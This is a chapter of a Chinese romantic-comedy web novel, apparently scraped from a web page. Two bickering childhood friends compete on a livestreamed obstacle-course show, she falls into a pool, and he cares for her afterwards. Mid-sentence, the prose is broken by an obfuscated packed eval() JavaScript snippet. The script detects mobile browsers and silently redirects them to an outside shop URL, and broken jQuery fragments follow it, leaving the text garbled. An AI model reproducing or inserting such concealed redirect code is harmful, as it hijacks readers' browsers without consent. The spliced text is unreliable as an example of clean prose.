骤然被点到名的陈醉一脸懵,怀疑的转头四处看了看,见周围群众都在看着自己,才试探性地伸出手指着自己问道:“我?”
台上的司礼大力点了点头,挤在旁边的徐霖仗着身高优势踮起脚将镜头放大记录着陈醉的所有细微表情。
就在陈醉还在一头雾水时旁边看热闹的观众已经开始在起哄了。
“上去啊,你男朋友喊你呢!”
“姐妹,你男朋友好帅啊,该不会是要求婚吧!”
“看男人的眼光不错,你男朋友还有没有其他朋友可以介绍一下啊?”
四周各种起哄的声音,台上的主持人还在不断的烘托气氛甚至让观众席鼓掌邀请陈醉上台,陈醉被吵得没办法,气氛已经烘托到这,不上去也不行了。
大步流星带着一肚子火,上去就给了司礼一个肘击。凑到他身边用只有两人才能听到的声音腹诽道:“你要搞鸡毛啊?别逼我在直播的时候扇你啊!”
司礼指着台下吭哧架着镜头记录的徐霖,拉着陈醉往前走了几步道:“跟镜头打个招呼吧,等会我们一起赢!”
陈醉蓦然回首警觉地扯回被司礼拉住的手腕道:“你他妈的给我报名了?”
“嗯呐~”司礼点点头,略显羞涩的低下头道:“你去上厕所的时候我还特意花了200块钱跟人买了个号,想要给你个惊喜……”
陈醉突然就灵光一闪想起了自己为了给司礼报名,还特意花了200块请黄牛的事,在台上直接就撩开袖子猛揍司礼。
“你丫有病是不是!”陈醉边打边骂道:“你能不能做点人事!”
司礼一边可怜的被动挨揍,一边还有闲心拉着陈醉对着台下徐霖的镜头Sayhi,激得陈醉的巴掌更是如潮水般涌来。
徐霖也特意开了个直播记录,看着直播间里不断攀升的浏览量和留言,徐霖边看边乐开了花。
【这两人是正经渠道上认识的吗?不知道的还以为在格斗现场呢!】
徐霖瞟了眼直播间笑嘻嘻地解释着:“包是正经渠道认识的哈,两人从小打到大,我们都习惯了,哪天要是不打那都要奇怪两人是不是吵架要分家了。”
弹幕里清一色开始刷“青梅竹马,磕到了!”,徐霖一边瞄两眼弹幕一边时刻关注着台上,只恨爸妈没多给自己生两双眼睛,看热闹的时候根本不够用。
主持人见气氛烘托到位现场情绪高涨开始介绍起了游戏规则,整个关卡呈圆形,两个人需要从舞台两端处分别过关,在中间关卡进行pk抢关,谁率先敲响锣鼓即为赢家。
陈醉瞪着司礼:“你是怎么知道我给你报名这个节目的?我谁都没说!”
“它给我发短信了!”司礼挺起胸膛很是骄傲。
天杀的,真的是大意了!吃了信息差的亏!
不想搭理司礼这个神经病,陈醉转身就要跳下台,只听主持人喊了句:“奖品是品牌双开门冰箱,过关即领!”
陈醉想起了自己新房的软装,咬咬牙扎起马尾又回头指着司礼放狠话道:“你等着,我今天非把你骨灰打成散粉不可!”
想着打是亲骂是爱的司礼双手张开表示欢迎:“欢迎来战。”
陈醉气的拳头都握紧了,等会他不把司礼打成傻逼她就不姓陈!
主持人倒计时三二一,司礼就像离弦的箭一般飞快蹿了出去,陈醉的老胳膊老腿仿佛像是上了发条一般,心有余而力不足。
司礼已经轻松跳过一个关卡,陈醉双手双脚抱着圆柱体艰难挪动,像是一条雪白的蚕第一次学会蠕动身体。全靠苟,陈醉也通关第一道关卡。
看着第二道关卡大摆锤,身轻如燕的司礼瞅准时机一个飞跃左躲右闪来到了中间汇合台,陈醉见状怒吼一声,拿出了吃奶的力气继续宛如老狗般趴在中间跳板上继续挪动着前进,不求迅速但求保险。
好不容易过关,陈醉的手脚抖得如同得了帕金森,今天早上画的美美的妆也花了,见司礼坐在汇合台上养精蓄锐还能笑嘻嘻地冲自己招手,陈醉尖叫一声冲着幸灾乐祸的司礼奔了过去。
“我今天就要跟你决一死战,有我没你,我弄死你!”
陈醉一个飞踢,司礼闪身躲避。两人在汇合台上玩起了躲猫猫的游戏。
徐霖直播间的观看人数一下疯涨,看着蹭蹭往上冒的留言都没心思看,光顾着看热闹去了。
【大哥,你开直播手别抖啊!还有把你那嚣张的笑声收一收,你朋友下来该和你决一死战了!】
【我进来的晚没看到前面,这不是男生女生向前冲节目吗,怎么变成男生女生互相殴?是正经节目吗,我也想这么酣畅淋漓的和我讨厌的人互殴一次!】
【只有我在意女主的粉底液用的是什么牌子的吗?出这么多汗依旧服帖,蹲个链接!(当然没有不说男生不帅的意思。)】
台上的司礼等了许久也没等到陈醉的告白,被动的挨了好几拳后攥住陈醉的手腕问道:“你就没什么想跟我说的吗?”
“有!”陈醉咬牙切齿道:“我要杀了你!”
司礼诧异挑眉感觉好像有哪里不对,反问道:“你不是要跟我表白吗?”
“我表你大爷的白,我他妈的要是喜欢你我今晚就自挂东南枝!”陈醉吼着,趁着司礼愣神的功夫直接用头攻击。
摸了摸额头的一片红,司礼的心如坠冰窖。呆呆地看着陈醉的眼睛一时之间不知道该说些什么。
是问她如果不喜欢自己为什么愿意绕远路给他买爱吃的饭团,还是问她如果想谈恋爱能不能考虑一下他。
以司礼对陈醉的了解,如果问出口陈醉一定不会再理他,还好没有捅破这层窗户纸。
不对,他喊了徐霖来记录今天的表白还开了直播!
猛然回头冲着徐霖挥手,双手交叉比NO,在下面笑得人仰马翻的徐霖见司礼指着自己以为是让自己好好干活别偷懒,立刻拍拍胸脯对着司礼比了个OK的手势。
见徐霖接收到自己的信号,司礼转头去关注想要赢得双开门冰箱的陈醉。陈醉已经跳过两块浮板,双手扶在浮板两侧,脚尖点起准备起跳,司礼接连跳过两块浮板看着前方的陈醉道:“别逞强,慢慢来,就算没有赢我也给你买冰箱,比这个更好的!”
陈醉深呼吸一口气没回头骂道:“你钱多烧得慌啊,这不要钱的干嘛不要?别说话了你,干扰我拿奖!”
屏蔽掉所有噪音,陈醉目视了下距离在心里测算了下,做好准备后跳了过去。浮板上有水,又没有可以支撑的地方,陈醉打滑双臂晃悠想要稳住身型,悄悄往旁边挪动一点想着增加受力面积,但之前已经消耗了许多体力,右腿忽然抽筋一下没稳住的陈醉摔进了水里。
司礼见状直接扑进水里救陈醉,陈醉一边腿抽筋一边在水里扑腾喊着:“救命救命!”,司礼绕到她身后,一只手抱住她的腰,一只手拍着她的背安抚着:“没事没事,这水不深。”
“这水怎么不深了!”陈醉气的直接蹬腿站起来冲着司礼发脾气。
结果一站起来发现,确实不深。
才堪堪到腰。
尴尬地恨不得找个地缝钻进去的陈醉一低头又发现让她崩溃的地方。
为了上镜美美的,自己穿的是短裙。下了水裙摆漂浮在水面上,而且浅蓝色下水后衣服几乎是透视,她只能蹲在水里抱胸不敢出来。
司礼看着陈醉低着头抱胸不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628377|204677||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说话,立刻反应过来,马上脱下自己的外套披在陈醉身上,还贴心的给她拉好拉链,挡在身前不让摄像机有拍到她的可能。
陈醉扶着司礼的胳膊一点点划上岸,司礼虚揽着陈醉,眼睛专注地瞧着陈醉,生怕她有一点闪失。
摸着司礼的肌肉,感受着温热的气息盘旋在自己耳侧,陈醉原本还气愤不已的心情倒也平息许多。
还让自己偷鸡不成蚀把米呢。
徐霖从多个角度放大特写了许多细节,看着镜头里依偎着的两个人,徐霖有点想自己女朋友了,没忍住给她发了条消息。
【要不我们结婚吧!】
看着电视里实时直播的两家父母笑得好似中了五百万,李宓指着电视里的二人对何珉按头安利:“我就说她俩能成吧,我从第一面见最最我就知道她以后绝对是我儿媳妇!你看我第六感灵验吧!”
何珉磕着瓜子附和着:“我一见小礼也是喜欢,那时候跟个粉团子一样,两人好的跟一个人一样!”
好不容易上了岸,风一吹陈醉没忍住打了个喷嚏,裹着工作人员递来的毛巾缩了缩,想要赶紧回车上吹会儿暖风回家洗澡。
司礼又拿了条干净毛巾,细致的把陈醉的头发擦了擦:“头发是湿的难受,得擦干。来的时候我看到有个简易的淋浴室,你等会去冲下暖和下。”
陈醉看着司礼像是哆啦A梦一般不知从哪变出了之前带的那个鼓鼓囊囊的运动包,看着他像变魔法一样掏出一大包塞到自己手上,催促自己赶紧去淋浴间清洗。
先洗了把脸陈醉才找了个椅子坐下翻看着密封袋里的东西。
有换洗衣物、拖鞋,甚至连一次性内衣裤和卸妆油洗面奶都准备好了,陈醉抱着那一大包东西抿着唇,内心百感交集。
其实她也有点不知道要怎么面对司礼,如果用发小来形容,似乎又不足以来描述她们之间的感情,可若是真如双方家长心愿两人勉强在一起,陈醉又觉得亵渎了她们这么多年的感情。
进退两难,陈醉开始后悔不应该因为贪财而答应替司礼相亲,这下真是自己挖坑自己填了。
惆怅了一会儿,陈醉也懒得纠结了。
既来之则安之,牛不喝水,爸妈还能硬按头?
反正已经全湿了,陈醉索性直接卸妆返璞归真,简单冲了冲后换上能塞下两个自己的衣服,穿上拖鞋踢踢踏踏出去了。
司礼提着运动包站在门口看着陈醉扎着丸子头,像是小孩偷穿大人衣服一般晃晃悠悠出来了,低头看着陈醉嘟着的嘴调侃道:“可以挂油瓶了。”
陈醉撇了撇嘴,看着司礼蹲下身为自己折起裤脚,卷起T恤袖口,努力让身上的衣服合身,看着难得温柔体贴的司礼,陈醉表示认可,拍了拍司礼示意他看看自己的脚趾。
只见陈醉用脚趾对着司礼比了个√。
司礼一下没绷住笑了出来。抬起头唇角含笑伸出食指在陈醉鼻尖轻刮了一下道:“服你了。”
夕阳把天空染成鲜亮的橘红色,晚霞透过云层像是害羞的女孩脸上的那一抹绯红,晚风软乎乎吹得人心荡漾,两人并肩走着,司礼的运动包背在肩上,双手枕在颈后眉眼带笑地瞧着陈醉,陈醉像是小企鹅刚学会走路般一晃一摆,时不时还要提下裤腰带。
“饿不饿,想吃什么?”
“烧烤!最好还要配一听透心凉的可乐!”
“好,想吃什么都可以!”司礼看着被晚霞映红脸颊的陈醉温声说道。
“你付钱!”陈醉乘胜追击道。
“嗯,都给你花!”司礼大力点点头,顿了顿又道:“你想要的冰箱我也给你买!”
买最大最好的,你想要的我都会给你。